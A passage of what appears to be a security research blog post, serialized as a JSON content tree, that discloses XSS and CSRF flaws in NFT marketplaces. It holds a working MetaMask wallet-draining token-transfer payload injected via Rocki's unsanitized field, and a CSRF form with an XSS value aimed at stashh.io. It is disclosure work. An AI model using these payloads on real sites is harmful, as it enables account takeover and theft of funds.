",{"type":26,"tag":116,"props":30968,"children":30971},{"href":30969,"rel":30970},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[120],[30972],{"type":32,"value":30973},"payloads",{"type":32,"value":353},{"type":26,"tag":35,"props":30976,"children":30977},{},[30978,30980,30987,30989,30995],{"type":32,"value":30979},"We showcase this vulnerability in the ",{"type":26,"tag":116,"props":30981,"children":30984},{"href":30982,"rel":30983},"https://rocki.com/",[120],[30985],{"type":32,"value":30986},"Rocki Marketplace",{"type":32,"value":30988},". The ",{"type":26,"tag":53,"props":30990,"children":30992},{"className":30991},[],[30993],{"type":32,"value":30994},"artistDescription",{"type":32,"value":30996}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":26,"tag":35,"props":30998,"children":30999},{},[31000],{"type":26,"tag":132,"props":31001,"children":31003},{"alt":7,"src":31002},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":26,"tag":35,"props":31005,"children":31006},{},[31007],{"type":32,"value":31008},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":26,"tag":35,"props":31010,"children":31011},{},[31012],{"type":26,"tag":132,"props":31013,"children":31015},{"alt":7,"src":31014},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":26,"tag":35,"props":31017,"children":31018},{},[31019],{"type":32,"value":31020},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":26,"tag":41,"props":31022,"children":31024},{"id":31023},"wheres-my-wallet",[31025],{"type":32,"value":31026},"Where's My Wallet",{"type":26,"tag":35,"props":31028,"children":31029},{},[31030],{"type":32,"value":31031},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":26,"tag":35,"props":31033,"children":31034},{},[31035],{"type":32,"value":31036},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":26,"tag":35,"props":31038,"children":31039},{},[31040],{"type":32,"value":31041},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":26,"tag":35,"props":31043,"children":31044},{},[31045],{"type":32,"value":31046},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":26,"tag":31048,"props":31049,"children":31051},"div",{"style":31050},"display:flex; align-items:center; flex-direction:column;",[31052],{"type":26,"tag":132,"props":31053,"children":31057},{"src":31054,"alt":31055,"style":31056},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":26,"tag":35,"props":31059,"children":31060},{},[31061],{"type":32,"value":31062},"And here we can find the code used to achieve it :",{"type":26,"tag":465,"props":31064,"children":31066},{"className":2332,"code":31065,"language":2334,"meta":7,"style":7},"function request() {\n if (typeof window.ethereum === 'undefined') {\n console.error('Please install MetaMask to use this feature.');\n } else {\n ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n const fromAddress = accounts[0];\n const attackerAddress = '0x0000000000000000000000000000000000000000';\n const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n let tokenAbi = [\n {\n constant: false,\n inputs: [\n {\n name: '_to',\n type: 'address',\n },\n {\n name: '_value',\n type: 'uint256',\n },\n ],\n name: 'transfer',\n outputs: [\n {\n name: '',\n type: 'bool',\n },\n ],\n type: 'function',\n },\n ];\n\n const web3 = new Web3(window.ethereum);\n\n const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n const transactionObject = {\n from: fromAddress,\n to: contractAddress,\n data: tokenContract.methods\n .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n .encodeABI(),\n };\n\n web3.eth.sendTransaction(transactionObject);\n });\n }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n",[31067],{"type":26,"tag":53,"props":31068,"children":31069},{"__ignoreMap":7},[31070,31087,31132,31161,31177,31240,31275,31300,31325,31332,31352,31360,31376,31388,31396,31413,31430,31438,31445,31461,31477,31484,31492,31509,31521,31528,31544,31560,31567,31574,31591,31598,31606,31613,31660,31667,31731,31738,31758,31774,31790,31811,31882,31898,31905,31912,31950,31958,31965,31972,31979,31999],{"type":26,"tag":475,"props":31071,"children":31072},{"class":477,"line":478},[31073,31078,31083],{"type":26,"tag":475,"props":31074,"children":31075},{"style":482},[31076],{"type":32,"value":31077},"function",{"type":26,"tag":475,"props":31079,"children":31080},{"style":493},[31081],{"type":32,"value":31082}," request",{"type":26,"tag":475,"props":31084,"children":31085},{"style":499},[31086],{"type":32,"value":882},{"type":26,"tag":475,"props":31088,"children":31089},{"class":477,"line":516},[31090,31095,31099,31104,31109,31113,31118,31123,31128],{"type":26,"tag":475,"props":31091,"children":31092},{"style":586},[31093],{"type":32,"value":31094}," if",{"type":26,"tag":475,"props":31096,"children":31097},{"style":499},[31098],{"type":32,"value":2775},{"type":26,"tag":475,"props":31100,"children":31101},{"style":482},[31102],{"type":32,"value":31103},"typeof",{"type":26,"tag":475,"props":31105,"children":31106},{"style":2375},[31107],{"type":32,"value":31108}," window",{"type":26,"tag":475,"props":31110,"children":31111},{"style":499},[31112],{"type":32,"value":353},{"type":26,"tag":475,"props":31114,"children":31115},{"style":2375},[31116],{"type":32,"value":31117},"ethereum",{"type":26,"tag":475,"props":31119,"children":31120},{"style":714},[31121],{"type":32,"value":31122}," ===",{"type":26,"tag":475,"props":31124,"children":31125},{"style":629},[31126],{"type":32,"value":31127}," 'undefined'",{"type":26,"tag":475,"props":31129,"children":31130},{"style":499},[31131],{"type":32,"value":676},{"type":26,"tag":475,"props":31133,"children":31134},{"class":477,"line":539},[31135,31140,31144,31148,31152,31157],{"type":26,"tag":475,"props":31136,"children":31137},{"style":2375},[31138],{"type":32,"value":31139}," console",{"type":26,"tag":475,"props":31141,"children":31142},{"style":499},[31143],{"type":32,"value":353},{"type":26,"tag":475,"props":31145,"children":31146},{"style":493},[31147],{"type":32,"value":14569},{"type":26,"tag":475,"props":31149,"children":31150},{"style":499},[31151],{"type":32,"value":626},{"type":26,"tag":475,"props":31153,"children":31154},{"style":629},[31155],{"type":32,"value":31156},"'Please install MetaMask to use this feature.'",{"type":26,"tag":475,"props":31158,"children":31159},{"style":499},[31160],{"type":32,"value":3533},{"type":26,"tag":475,"props":31162,"children":31163},{"class":477,"line":548},[31164,31169,31173],{"type":26,"tag":475,"props":31165,"children":31166},{"style":499},[31167],{"type":32,"value":31168}," } ",{"type":26,"tag":475,"props":31170,"children":31171},{"style":586},[31172],{"type":32,"value":3023},{"type":26,"tag":475,"props":31174,"children":31175},{"style":499},[31176],{"type":32,"value":579},{"type":26,"tag":475,"props":31178,"children":31179},{"class":477,"line":558},[31180,31185,31189,31194,31199,31204,31209,31214,31219,31224,31228,31232,31236],{"type":26,"tag":475,"props":31181,"children":31182},{"style":2375},[31183],{"type":32,"value":31184}," ethereum",{"type":26,"tag":475,"props":31186,"children":31187},{"style":499},[31188],{"type":32,"value":353},{"type":26,"tag":475,"props":31190,"children":31191},{"style":493},[31192],{"type":32,"value":31193},"request",{"type":26,"tag":475,"props":31195,"children":31196},{"style":499},[31197],{"type":32,"value":31198},"({ ",{"type":26,"tag":475,"props":31200,"children":31201},{"style":2375},[31202],{"type":32,"value":31203},"method:",{"type":26,"tag":475,"props":31205,"children":31206},{"style":629},[31207],{"type":32,"value":31208}," 'eth_requestAccounts'",{"type":26,"tag":475,"props":31210,"children":31211},{"style":499},[31212],{"type":32,"value":31213}," }).",{"type":26,"tag":475,"props":31215,"children":31216},{"style":493},[31217],{"type":32,"value":31218},"then",{"type":26,"tag":475,"props":31220,"children":31221},{"style":499},[31222],{"type":32,"value":31223},"((",{"type":26,"tag":475,"props":31225,"children":31226},{"style":2375},[31227],{"type":32,"value":14382},{"type":26,"tag":475,"props":31229,"children":31230},{"style":499},[31231],{"type":32,"value":2794},{"type":26,"tag":475,"props":31233,"children":31234},{"style":482},[31235],{"type":32,"value":2360},{"type":26,"tag":475,"props":31237,"children":31238},{"style":499},[31239],{"type":32,"value":579},{"type":26,"tag":475,"props":31241,"children":31242},{"class":477,"line":582},[31243,31248,31253,31257,31262,31266,31270],{"type":26,"tag":475,"props":31244,"children":31245},{"style":482},[31246],{"type":32,"value":31247}," const",{"type":26,"tag":475,"props":31249,"children":31250},{"style":2375},[31251],{"type":32,"value":31252}," fromAddress",{"type":26,"tag":475,"props":31254,"children":31255},{"style":714},[31256],{"type":32,"value":2383},{"type":26,"tag":475,"props":31258,"children":31259},{"style":2375},[31260],{"type":32,"value":31261}," accounts",{"type":26,"tag":475,"props":31263,"children":31264},{"style":499},[31265],{"type":32,"value":3440},{"type":26,"tag":475,"props":31267,"children":31268},{"style":903},[31269],{"type":32,"value":3732},{"type":26,"tag":475,"props":31271,"children":31272},{"style":499},[31273],{"type":32,"value":31274},"];\n",{"type":26,"tag":475,"props":31276,"children":31277},{"class":477,"line":596},[31278,31282,31287,31291,31296],{"type":26,"tag":475,"props":31279,"children":31280},{"style":482},[31281],{"type":32,"value":31247},{"type":26,"tag":475,"props":31283,"children":31284},{"style":2375},[31285],{"type":32,"value":31286}," attackerAddress",{"type":26,"tag":475,"props":31288,"children":31289},{"style":714},[31290],{"type":32,"value":2383},{"type":26,"tag":475,"props":31292,"children":31293},{"style":629},[31294],{"type":32,"value":31295}," '0x0000000000000000000000000000000000000000'",{"type":26,"tag":475,"props":31297,"children":31298},{"style":499},[31299],{"type":32,"value":2729},{"type":26,"tag":475,"props":31301,"children":31302},{"class":477,"line":610},[31303,31307,31312,31316,31321],{"type":26,"tag":475,"props":31304,"children":31305},{"style":482},[31306],{"type":32,"value":31247},{"type":26,"tag":475,"props":31308,"children":31309},{"style":2375},[31310],{"type":32,"value":31311}," contractAddress",{"type":26,"tag":475,"props":31313,"children":31314},{"style":714},[31315],{"type":32,"value":2383},{"type":26,"tag":475,"props":31317,"children":31318},{"style":629},[31319],{"type":32,"value":31320}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":26,"tag":475,"props":31322,"children":31323},{"style":499},[31324],{"type":32,"value":2729},{"type":26,"tag":475,"props":31326,"children":31327},{"class":477,"line":650},[31328],{"type":26,"tag":475,"props":31329,"children":31330},{"emptyLinePlaceholder":18},[31331],{"type":32,"value":545},{"type":26,"tag":475,"props":31333,"children":31334},{"class":477,"line":679},[31335,31339,31344,31348],{"type":26,"tag":475,"props":31336,"children":31337},{"style":482},[31338],{"type":32,"value":7786},{"type":26,"tag":475,"props":31340,"children":31341},{"style":2375},[31342],{"type":32,"value":31343}," tokenAbi",{"type":26,"tag":475,"props":31345,"children":31346},{"style":714},[31347],{"type":32,"value":2383},{"type":26,"tag":475,"props":31349,"children":31350},{"style":499},[31351],{"type":32,"value":25322},{"type":26,"tag":475,"props":31353,"children":31354},{"class":477,"line":735},[31355],{"type":26,"tag":475,"props":31356,"children":31357},{"style":499},[31358],{"type":32,"value":31359}," {\n",{"type":26,"tag":475,"props":31361,"children":31362},{"class":477,"line":744},[31363,31368,31372],{"type":26,"tag":475,"props":31364,"children":31365},{"style":2375},[31366],{"type":32,"value":31367}," constant:",{"type":26,"tag":475,"props":31369,"children":31370},{"style":482},[31371],{"type":32,"value":8769},{"type":26,"tag":475,"props":31373,"children":31374},{"style":499},[31375],{"type":32,"value":2425},{"type":26,"tag":475,"props":31377,"children":31378},{"class":477,"line":753},[31379,31384],{"type":26,"tag":475,"props":31380,"children":31381},{"style":2375},[31382],{"type":32,"value":31383}," inputs:",{"type":26,"tag":475,"props":31385,"children":31386},{"style":499},[31387],{"type":32,"value":25322},{"type":26,"tag":475,"props":31389,"children":31390},{"class":477,"line":761},[31391],{"type":26,"tag":475,"props":31392,"children":31393},{"style":499},[31394],{"type":32,"value":31395}," {\n",{"type":26,"tag":475,"props":31397,"children":31398},{"class":477,"line":770},[31399,31404,31409],{"type":26,"tag":475,"props":31400,"children":31401},{"style":2375},[31402],{"type":32,"value":31403}," name:",{"type":26,"tag":475,"props":31405,"children":31406},{"style":629},[31407],{"type":32,"value":31408}," '_to'",{"type":26,"tag":475,"props":31410,"children":31411},{"style":499},[31412],{"type":32,"value":2425},{"type":26,"tag":475,"props":31414,"children":31415},{"class":477,"line":794},[31416,31421,31426],{"type":26,"tag":475,"props":31417,"children":31418},{"style":2375},[31419],{"type":32,"value":31420}," type:",{"type":26,"tag":475,"props":31422,"children":31423},{"style":629},[31424],{"type":32,"value":31425}," 'address'",{"type":26,"tag":475,"props":31427,"children":31428},{"style":499},[31429],{"type":32,"value":2425},{"type":26,"tag":475,"props":31431,"children":31432},{"class":477,"line":831},[31433],{"type":26,"tag":475,"props":31434,"children":31435},{"style":499},[31436],{"type":32,"value":31437}," },\n",{"type":26,"tag":475,"props":31439,"children":31440},{"class":477,"line":845},[31441],{"type":26,"tag":475,"props":31442,"children":31443},{"style":499},[31444],{"type":32,"value":31395},{"type":26,"tag":475,"props":31446,"children":31447},{"class":477,"line":854},[31448,31452,31457],{"type":26,"tag":475,"props":31449,"children":31450},{"style":2375},[31451],{"type":32,"value":31403},{"type":26,"tag":475,"props":31453,"children":31454},{"style":629},[31455],{"type":32,"value":31456}," '_value'",{"type":26,"tag":475,"props":31458,"children":31459},{"style":499},[31460],{"type":32,"value":2425},{"type":26,"tag":475,"props":31462,"children":31463},{"class":477,"line":862},[31464,31468,31473],{"type":26,"tag":475,"props":31465,"children":31466},{"style":2375},[31467],{"type":32,"value":31420},{"type":26,"tag":475,"props":31469,"children":31470},{"style":629},[31471],{"type":32,"value":31472}," 'uint256'",{"type":26,"tag":475,"props":31474,"children":31475},{"style":499},[31476],{"type":32,"value":2425},{"type":26,"tag":475,"props":31478,"children":31479},{"class":477,"line":885},[31480],{"type":26,"tag":475,"props":31481,"children":31482},{"style":499},[31483],{"type":32,"value":31437},{"type":26,"tag":475,"props":31485,"children":31486},{"class":477,"line":913},[31487],{"type":26,"tag":475,"props":31488,"children":31489},{"style":499},[31490],{"type":32,"value":31491}," ],\n",{"type":26,"tag":475,"props":31493,"children":31494},{"class":477,"line":926},[31495,31500,31505],{"type":26,"tag":475,"props":31496,"children":31497},{"style":2375},[31498],{"type":32,"value":31499}," name:",{"type":26,"tag":475,"props":31501,"children":31502},{"style":629},[31503],{"type":32,"value":31504}," 'transfer'",{"type":26,"tag":475,"props":31506,"children":31507},{"style":499},[31508],{"type":32,"value":2425},{"type":26,"tag":475,"props":31510,"children":31511},{"class":477,"line":948},[31512,31517],{"type":26,"tag":475,"props":31513,"children":31514},{"style":2375},[31515],{"type":32,"value":31516}," outputs:",{"type":26,"tag":475,"props":31518,"children":31519},{"style":499},[31520],{"type":32,"value":25322},{"type":26,"tag":475,"props":31522,"children":31523},{"class":477,"line":966},[31524],{"type":26,"tag":475,"props":31525,"children":31526},{"style":499},[31527],{"type":32,"value":31395},{"type":26,"tag":475,"props":31529,"children":31530},{"class":477,"line":979},[31531,31535,31540],{"type":26,"tag":475,"props":31532,"children":31533},{"style":2375},[31534],{"type":32,"value":31403},{"type":26,"tag":475,"props":31536,"children":31537},{"style":629},[31538],{"type":32,"value":31539}," ''",{"type":26,"tag":475,"props":31541,"children":31542},{"style":499},[31543],{"type":32,"value":2425},{"type":26,"tag":475,"props":31545,"children":31546},{"class":477,"line":1006},[31547,31551,31556],{"type":26,"tag":475,"props":31548,"children":31549},{"style":2375},[31550],{"type":32,"value":31420},{"type":26,"tag":475,"props":31552,"children":31553},{"style":629},[31554],{"type":32,"value":31555}," 'bool'",{"type":26,"tag":475,"props":31557,"children":31558},{"style":499},[31559],{"type":32,"value":2425},{"type":26,"tag":475,"props":31561,"children":31562},{"class":477,"line":1046},[31563],{"type":26,"tag":475,"props":31564,"children":31565},{"style":499},[31566],{"type":32,"value":31437},{"type":26,"tag":475,"props":31568,"children":31569},{"class":477,"line":1068},[31570],{"type":26,"tag":475,"props":31571,"children":31572},{"style":499},[31573],{"type":32,"value":31491},{"type":26,"tag":475,"props":31575,"children":31576},{"class":477,"line":1077},[31577,31582,31587],{"type":26,"tag":475,"props":31578,"children":31579},{"style":2375},[31580],{"type":32,"value":31581}," type:",{"type":26,"tag":475,"props":31583,"children":31584},{"style":629},[31585],{"type":32,"value":31586}," 'function'",{"type":26,"tag":475,"props":31588,"children":31589},{"style":499},[31590],{"type":32,"value":2425},{"type":26,"tag":475,"props":31592,"children":31593},{"class":477,"line":1090},[31594],{"type":26,"tag":475,"props":31595,"children":31596},{"style":499},[31597],{"type":32,"value":25074},{"type":26,"tag":475,"props":31599,"children":31600},{"class":477,"line":1119},[31601],{"type":26,"tag":475,"props":31602,"children":31603},{"style":499},[31604],{"type":32,"value":31605}," ];\n",{"type":26,"tag":475,"props":31607,"children":31608},{"class":477,"line":1132},[31609],{"type":26,"tag":475,"props":31610,"children":31611},{"emptyLinePlaceholder":18},[31612],{"type":32,"value":545},{"type":26,"tag":475,"props":31614,"children":31615},{"class":477,"line":1146},[31616,31620,31625,31629,31634,31639,31643,31648,31652,31656],{"type":26,"tag":475,"props":31617,"children":31618},{"style":482},[31619],{"type":32,"value":31247},{"type":26,"tag":475,"props":31621,"children":31622},{"style":2375},[31623],{"type":32,"value":31624}," web3",{"type":26,"tag":475,"props":31626,"children":31627},{"style":714},[31628],{"type":32,"value":2383},{"type":26,"tag":475,"props":31630,"children":31631},{"style":482},[31632],{"type":32,"value":31633}," new",{"type":26,"tag":475,"props":31635,"children":31636},{"style":493},[31637],{"type":32,"value":31638}," Web3",{"type":26,"tag":475,"props":31640,"children":31641},{"style":499},[31642],{"type":32,"value":626},{"type":26,"tag":475,"props":31644,"children":31645},{"style":2375},[31646],{"type":32,"value":31647},"window",{"type":26,"tag":475,"props":31649,"children":31650},{"style":499},[31651],{"type":32,"value":353},{"type":26,"tag":475,"props":31653,"children":31654},{"style":2375},[31655],{"type":32,"value":31117},{"type":26,"tag":475,"props":31657,"children":31658},{"style":499},[31659],{"type":32,"value":3533},{"type":26,"tag":475,"props":31661,"children":31662},{"class":477,"line":1155},[31663],{"type":26,"tag":475,"props":31664,"children":31665},{"emptyLinePlaceholder":18},[31666],{"type":32,"value":545},{"type":26,"tag":475,"props":31668,"children":31669},{"class":477,"line":1163},[31670,31674,31679,31683,31687,31691,31695,31700,31704,31709,31713,31718,31722,31727],{"type":26,"tag":475,"props":31671,"children":31672},{"style":482},[31673],{"type":32,"value":31247},{"type":26,"tag":475,"props":31675,"children":31676},{"style":2375},[31677],{"type":32,"value":31678}," tokenContract",{"type":26,"tag":475,"props":31680,"children":31681},{"style":714},[31682],{"type":32,"value":2383},{"type":26,"tag":475,"props":31684,"children":31685},{"style":482},[31686],{"type":32,"value":31633},{"type":26,"tag":475,"props":31688,"children":31689},{"style":2375},[31690],{"type":32,"value":31624},{"type":26,"tag":475,"props":31692,"children":31693},{"style":499},[31694],{"type":32,"value":353},{"type":26,"tag":475,"props":31696,"children":31697},{"style":2375},[31698],{"type":32,"value":31699},"eth",{"type":26,"tag":475,"props":31701,"children":31702},{"style":499},[31703],{"type":32,"value":353},{"type":26,"tag":475,"props":31705,"children":31706},{"style":493},[31707],{"type":32,"value":31708},"Contract",{"type":26,"tag":475,"props":31710,"children":31711},{"style":499},[31712],{"type":32,"value":626},{"type":26,"tag":475,"props":31714,"children":31715},{"style":2375},[31716],{"type":32,"value":31717},"tokenAbi",{"type":26,"tag":475,"props":31719,"children":31720},{"style":499},[31721],{"type":32,"value":637},{"type":26,"tag":475,"props":31723,"children":31724},{"style":2375},[31725],{"type":32,"value":31726},"contractAddress",{"type":26,"tag":475,"props":31728,"children":31729},{"style":499},[31730],{"type":32,"value":3533},{"type":26,"tag":475,"props":31732,"children":31733},{"class":477,"line":1172},[31734],{"type":26,"tag":475,"props":31735,"children":31736},{"emptyLinePlaceholder":18},[31737],{"type":32,"value":545},{"type":26,"tag":475,"props":31739,"children":31740},{"class":477,"line":1181},[31741,31745,31750,31754],{"type":26,"tag":475,"props":31742,"children":31743},{"style":482},[31744],{"type":32,"value":31247},{"type":26,"tag":475,"props":31746,"children":31747},{"style":2375},[31748],{"type":32,"value":31749}," transactionObject",{"type":26,"tag":475,"props":31751,"children":31752},{"style":714},[31753],{"type":32,"value":2383},{"type":26,"tag":475,"props":31755,"children":31756},{"style":499},[31757],{"type":32,"value":579},{"type":26,"tag":475,"props":31759,"children":31760},{"class":477,"line":1189},[31761,31766,31770],{"type":26,"tag":475,"props":31762,"children":31763},{"style":2375},[31764],{"type":32,"value":31765}," from:",{"type":26,"tag":475,"props":31767,"children":31768},{"style":2375},[31769],{"type":32,"value":31252},{"type":26,"tag":475,"props":31771,"children":31772},{"style":499},[31773],{"type":32,"value":2425},{"type":26,"tag":475,"props":31775,"children":31776},{"class":477,"line":1221},[31777,31782,31786],{"type":26,"tag":475,"props":31778,"children":31779},{"style":2375},[31780],{"type":32,"value":31781}," to:",{"type":26,"tag":475,"props":31783,"children":31784},{"style":2375},[31785],{"type":32,"value":31311},{"type":26,"tag":475,"props":31787,"children":31788},{"style":499},[31789],{"type":32,"value":2425},{"type":26,"tag":475,"props":31791,"children":31792},{"class":477,"line":1848},[31793,31798,31802,31806],{"type":26,"tag":475,"props":31794,"children":31795},{"style":2375},[31796],{"type":32,"value":31797}," data:",{"type":26,"tag":475,"props":31799,"children":31800},{"style":2375},[31801],{"type":32,"value":31678},{"type":26,"tag":475,"props":31803,"children":31804},{"style":499},[31805],{"type":32,"value":353},{"type":26,"tag":475,"props":31807,"children":31808},{"style":2375},[31809],{"type":32,"value":31810},"methods\n",{"type":26,"tag":475,"props":31812,"children":31813},{"class":477,"line":1857},[31814,31819,31824,31828,31833,31837,31842,31846,31851,31855,31860,31864,31869,31873,31878],{"type":26,"tag":475,"props":31815,"children":31816},{"style":499},[31817],{"type":32,"value":31818}," .",{"type":26,"tag":475,"props":31820,"children":31821},{"style":493},[31822],{"type":32,"value":31823},"transfer",{"type":26,"tag":475,"props":31825,"children":31826},{"style":499},[31827],{"type":32,"value":626},{"type":26,"tag":475,"props":31829,"children":31830},{"style":2375},[31831],{"type":32,"value":31832},"attackerAddress",{"type":26,"tag":475,"props":31834,"children":31835},{"style":499},[31836],{"type":32,"value":637},{"type":26,"tag":475,"props":31838,"children":31839},{"style":2375},[31840],{"type":32,"value":31841},"web3",{"type":26,"tag":475,"props":31843,"children":31844},{"style":499},[31845],{"type":32,"value":353},{"type":26,"tag":475,"props":31847,"children":31848},{"style":2375},[31849],{"type":32,"value":31850},"utils",{"type":26,"tag":475,"props":31852,"children":31853},{"style":499},[31854],{"type":32,"value":353},{"type":26,"tag":475,"props":31856,"children":31857},{"style":493},[31858],{"type":32,"value":31859},"toWei",{"type":26,"tag":475,"props":31861,"children":31862},{"style":499},[31863],{"type":32,"value":626},{"type":26,"tag":475,"props":31865,"children":31866},{"style":629},[31867],{"type":32,"value":31868},"'100000000'",{"type":26,"tag":475,"props":31870,"children":31871},{"style":499},[31872],{"type":32,"value":637},{"type":26,"tag":475,"props":31874,"children":31875},{"style":629},[31876],{"type":32,"value":31877},"'ether'",{"type":26,"tag":475,"props":31879,"children":31880},{"style":499},[31881],{"type":32,"value":1510},{"type":26,"tag":475,"props":31883,"children":31884},{"class":477,"line":1866},[31885,31889,31894],{"type":26,"tag":475,"props":31886,"children":31887},{"style":499},[31888],{"type":32,"value":31818},{"type":26,"tag":475,"props":31890,"children":31891},{"style":493},[31892],{"type":32,"value":31893},"encodeABI",{"type":26,"tag":475,"props":31895,"children":31896},{"style":499},[31897],{"type":32,"value":3197},{"type":26,"tag":475,"props":31899,"children":31900},{"class":477,"line":1875},[31901],{"type":26,"tag":475,"props":31902,"children":31903},{"style":499},[31904],{"type":32,"value":8632},{"type":26,"tag":475,"props":31906,"children":31907},{"class":477,"line":1883},[31908],{"type":26,"tag":475,"props":31909,"children":31910},{"emptyLinePlaceholder":18},[31911],{"type":32,"value":545},{"type":26,"tag":475,"props":31913,"children":31914},{"class":477,"line":1892},[31915,31920,31924,31928,31932,31937,31941,31946],{"type":26,"tag":475,"props":31916,"children":31917},{"style":2375},[31918],{"type":32,"value":31919}," web3",{"type":26,"tag":475,"props":31921,"children":31922},{"style":499},[31923],{"type":32,"value":353},{"type":26,"tag":475,"props":31925,"children":31926},{"style":2375},[31927],{"type":32,"value":31699},{"type":26,"tag":475,"props":31929,"children":31930},{"style":499},[31931],{"type":32,"value":353},{"type":26,"tag":475,"props":31933,"children":31934},{"style":493},[31935],{"type":32,"value":31936},"sendTransaction",{"type":26,"tag":475,"props":31938,"children":31939},{"style":499},[31940],{"type":32,"value":626},{"type":26,"tag":475,"props":31942,"children":31943},{"style":2375},[31944],{"type":32,"value":31945},"transactionObject",{"type":26,"tag":475,"props":31947,"children":31948},{"style":499},[31949],{"type":32,"value":3533},{"type":26,"tag":475,"props":31951,"children":31952},{"class":477,"line":1901},[31953],{"type":26,"tag":475,"props":31954,"children":31955},{"style":499},[31956],{"type":32,"value":31957}," });\n",{"type":26,"tag":475,"props":31959,"children":31960},{"class":477,"line":1910},[31961],{"type":26,"tag":475,"props":31962,"children":31963},{"style":499},[31964],{"type":32,"value":5585},{"type":26,"tag":475,"props":31966,"children":31967},{"class":477,"line":1919},[31968],{"type":26,"tag":475,"props":31969,"children":31970},{"style":499},[31971],{"type":32,"value":3607},{"type":26,"tag":475,"props":31973,"children":31974},{"class":477,"line":1927},[31975],{"type":26,"tag":475,"props":31976,"children":31977},{"emptyLinePlaceholder":18},[31978],{"type":32,"value":545},{"type":26,"tag":475,"props":31980,"children":31981},{"class":477,"line":1936},[31982,31986,31990,31995],{"type":26,"tag":475,"props":31983,"children":31984},{"style":482},[31985],{"type":32,"value":19192},{"type":26,"tag":475,"props":31987,"children":31988},{"style":499},[31989],{"type":32,"value":626},{"type":26,"tag":475,"props":31991,"children":31992},{"style":629},[31993],{"type":32,"value":31994},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":26,"tag":475,"props":31996,"children":31997},{"style":499},[31998],{"type":32,"value":3533},{"type":26,"tag":475,"props":32000,"children":32001},{"class":477,"line":1945},[32002,32007,32011,32015,32019,32024],{"type":26,"tag":475,"props":32003,"children":32004},{"style":493},[32005],{"type":32,"value":32006},"setTimeout",{"type":26,"tag":475,"props":32008,"children":32009},{"style":499},[32010],{"type":32,"value":626},{"type":26,"tag":475,"props":32012,"children":32013},{"style":2375},[32014],{"type":32,"value":31193},{"type":26,"tag":475,"props":32016,"children":32017},{"style":499},[32018],{"type":32,"value":637},{"type":26,"tag":475,"props":32020,"children":32021},{"style":903},[32022],{"type":32,"value":32023},"1e3",{"type":26,"tag":475,"props":32025,"children":32026},{"style":499},[32027],{"type":32,"value":3533},{"type":26,"tag":35,"props":32029,"children":32030},{},[32031,32036],{"type":26,"tag":105,"props":32032,"children":32033},{},[32034],{"type":32,"value":32035},"CSRF & XSS",{"type":32,"value":32037},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":26,"tag":35,"props":32039,"children":32040},{},[32041,32043,32048],{"type":32,"value":32042},"Our attention was drawn to ",{"type":26,"tag":116,"props":32044,"children":32046},{"href":30982,"rel":32045},[120],[32047],{"type":32,"value":30986},{"type":32,"value":32049},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":26,"tag":35,"props":32051,"children":32052},{},[32053],{"type":26,"tag":132,"props":32054,"children":32056},{"alt":7,"src":32055},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":26,"tag":35,"props":32058,"children":32059},{},[32060],{"type":32,"value":32061},"and here there is the code:",{"type":26,"tag":465,"props":32063,"children":32065},{"className":2332,"code":32064,"language":2334,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n })()\n\n \u003C/script>\n\u003C/html>\n",[32066],{"type":26,"tag":53,"props":32067,"children":32068},{"__ignoreMap":7},[32069,32086,32103,32137,32223,32280,32479,32520,32536,32552,32559,32574,32581,32593,32650,32657,32720,32749,32787,32794,32832,32845,32852,32867],{"type":26,"tag":475,"props":32070,"children":32071},{"class":477,"line":478},[32072,32077,32082],{"type":26,"tag":475,"props":32073,"children":32075},{"style":32074},"--shiki-default:#808080",[32076],{"type":32,"value":5519},{"type":26,"tag":475,"props":32078,"children":32079},{"style":482},[32080],{"type":32,"value":32081},"html",{"type":26,"tag":475,"props":32083,"children":32084},{"style":32074},[32085],{"type":32,"value":5706},{"type":26,"tag":475,"props":32087,"children":32088},{"class":477,"line":516},[32089,32094,32099],{"type":26,"tag":475,"props":32090,"children":32091},{"style":32074},[32092],{"type":32,"value":32093}," 